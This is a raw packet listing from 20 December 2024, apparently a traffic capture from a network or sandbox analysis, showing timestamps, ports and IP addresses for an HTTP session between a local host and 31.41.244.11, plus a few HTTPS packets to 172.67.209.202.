Dec 20, 2024 02:11:40.810098886 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.810182095 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.810970068 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.811383963 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.811444998 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.812145948 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.812202930 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.812318087 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.812370062 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.813297987 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.813350916 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.813445091 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.813498974 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.814456940 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.814654112 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.814704895 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.815679073 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.815778971 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.815877914 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.815937996 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.816895008 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.816947937 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.817102909 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.817153931 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.817959070 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.818013906 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.818089008 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.818144083 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.819127083 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.819426060 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.819479942 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.820373058 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.820563078 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.821019888 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.821075916 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.821515083 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.821567059 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.821971893 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.822026014 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.822638035 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.822721958 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.822966099 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.823815107 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.823869944 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.824035883 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.824093103 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.824978113 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.825030088 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.825264931 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.825314999 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.826163054 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.826216936 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.826812983 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.827323914 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.827378988 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.827425003 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.827851057 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.828495026 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.828550100 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.828695059 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.828756094 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.829689026 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.829741001 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.829824924 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.829901934 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.830780029 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.830842972 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.830899000 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.832202911 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.832262039 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.832423925 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.832474947 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.833134890 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.833192110 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.833416939 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.833467007 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.834325075 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.834383965 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.834497929 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.835517883 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.835616112 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.835637093 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.835722923 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.836642981 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.836705923 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.837042093 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.837096930 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.838011980 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.838067055 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.838268042 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.838340044 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.838982105 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.839034081 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.839135885 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.839205027 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.840152979 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.840426922 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.840485096 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.841348886 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.841360092 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.841401100 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.842534065 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.842590094 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.843622923 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.843674898 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.843713999 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.843725920 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.843765974 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.844830036 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.844841003 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.844887018 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.846036911 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.846087933 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.846159935 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.846209049 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.847162008 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.847223997 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.847572088 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.847630978 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.848342896 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.848355055 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.848411083 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.848560095 CET	443	49919	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:40.848680973 CET	443	49919	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:40.848740101 CET	49919	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:40.848853111 CET	49919	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:40.848897934 CET	443	49919	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:40.849522114 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.849590063 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.849914074 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.849972010 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.850662947 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.850720882 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.850943089 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.850996971 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.851851940 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.851927996 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.851969004 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.852353096 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.853065968 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.853122950 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.853461027 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.853514910 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.854159117 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.854413033 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.855273008 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.855348110 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.855389118 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.855400085 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.855446100 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.988620996 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.988742113 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.988861084 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.988920927 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.989051104 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.989099979 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.989339113 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.989398003 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.990206957 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.990245104 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.990607977 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.990650892 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.991517067 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.991605043 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.991635084 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.991682053 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.992569923 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.992628098 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.993288994 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.993334055 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.993757963 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.993802071 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.993928909 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.993966103 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.994888067 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.995250940 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.995286942 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.996048927 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.996212006 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.996253014 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.997214079 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.997358084 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.997395992 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.998388052 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.998428106 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.998749018 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.999710083 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.999749899 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.000087976 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.000852108 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.000890970 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.000943899 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.001991034 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.002023935 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.002171993 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.002207041 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.003041983 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.003211975 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.003247976 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.004239082 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.004725933 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.004765034 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.005404949 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.005705118 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.005743980 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.006562948 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.006613016 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.006777048 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.007762909 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.007814884 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.007988930 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.008734941 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.008912086 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.008996010 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.009701014 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.009768963 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.010078907 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.010509968 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.010550022 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.011229992 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.011323929 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.011527061 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.011603117 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.012463093 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.012646914 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.012689114 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.013596058 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.014112949 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.014153957 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.014744043 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.014782906 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.015202045 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.015762091 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.015923977 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.015986919 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.016172886 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.017087936 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.017123938 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.017256021 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.018271923 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.018311977 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.018486023 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.018518925 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.019426107 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.019751072 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.019787073 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.020689011 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.020898104 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.020932913 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.021770000 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.021913052 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.021950006 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.022921085 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.022957087 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.023133993 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.023977041 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.024099112 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.024159908 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.024952888 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.025290966 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.025330067 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.025911093 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.026412010 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.026453972 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.026504040 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.026629925 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.026664972 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.027611971 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.027662039 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.027782917 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.027829885 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.028780937 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.028820992 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.029366970 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.029928923 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.029968023 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.030105114 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.030191898 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.031133890 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.031183958 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.031521082 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.031574965 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.032417059 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.032582998 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.032623053 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.033454895 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.033586025 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.033626080 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.034605980 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.034643888 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.035214901 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.035803080 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.035842896 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.036379099 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.036962986 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.037003040 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.037334919 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.037372112 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.038115025 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.038255930 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.038295031 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.039299965 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.039676905 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.039719105 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.040450096 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.040551901 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.040693998 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.040736914 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.041600943 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.041893005 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.041930914 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.042776108 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.042963028 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.042999983 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.043941021 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.043981075 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.044375896 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.045146942 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.045188904 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.045373917 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.045768976 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.046312094 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.046364069 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.046652079 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.046690941 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.047477961 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.047513962 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.047816038 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.047853947 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.048640013 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.048787117 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.048829079 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.049740076 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.051858902 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.180735111 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.180814028 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.181003094 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.181057930 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.181375980 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.181407928 CET	80	49917	31.41.244.11	192.168.2.5
